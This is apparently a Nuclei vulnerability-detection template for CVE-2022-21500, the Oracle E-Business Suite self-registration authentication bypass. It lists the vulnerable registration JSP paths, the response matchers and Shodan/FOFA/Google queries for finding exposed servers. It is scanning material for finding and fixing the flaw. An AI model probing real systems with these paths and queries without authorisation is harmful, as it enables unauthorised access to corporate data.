id: CVE-2022-21500

info:
  name: Oracle E-Business Suite <=12.2 - Authentication Bypass
  author: 3th1c_yuk1,tess,0xpugal
  severity: high
  description: |
    Oracle E-Business Suite (component: Manage Proxies) 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle E-Business Suite accessible data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the Oracle E-Business Suite application.
  remediation: |
    Apply the necessary security patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://orwaatyat.medium.com/my-new-discovery-in-oracle-e-business-login-panel-that-allowed-to-access-for-all-employees-ed0ec4cad7ac
    - https://twitter.com/GodfatherOrwa/status/1514720677173026816
    - https://www.oracle.com/security-alerts/alert-cve-2022-21500.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21500
    - https://www.oracle.com/security-alerts/cpujul2022.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-21500
    epss-score: 0.93739
    epss-percentile: 0.99858
    cpe: cpe:2.3:a:oracle:e-business_suite:12.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: oracle
    product: e-business_suite
    shodan-query:
      - http.title:"Login" "X-ORACLE-DMS-ECID" 200
      - http.title:"login" "x-oracle-dms-ecid" 200
    fofa-query: title="login" "x-oracle-dms-ecid" 200
    google-query: intitle:"login" "x-oracle-dms-ecid" 200
  tags: cve,cve2022,oracle,misconfig,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/OA_HTML/ibeCAcpSSOReg.jsp'
      - '{{BaseURL}}/OA_HTML/ibeCRgpPrimaryCreate.jsp'
      - '{{BaseURL}}/OA_HTML/ibeCRgpIndividualUser.jsp'
      - '{{BaseURL}}/OA_HTML/ibeCRgpPartnerPriCreate.jsp'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Registration'
          - 'Register as individual'
          - '<!-- ibeCZzpRuntimeIncl.jsp end -->'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f3587dbc643ad46c5dd44e77b93b4a313f61991ace1bbc3f0985a1cb02d7366c022100e29cb948e2381ca52f19fa34c9a956dd34983f7df17ca3c2b3e42f112aa32ab9:922c64590222798bb761d5b6d8e72950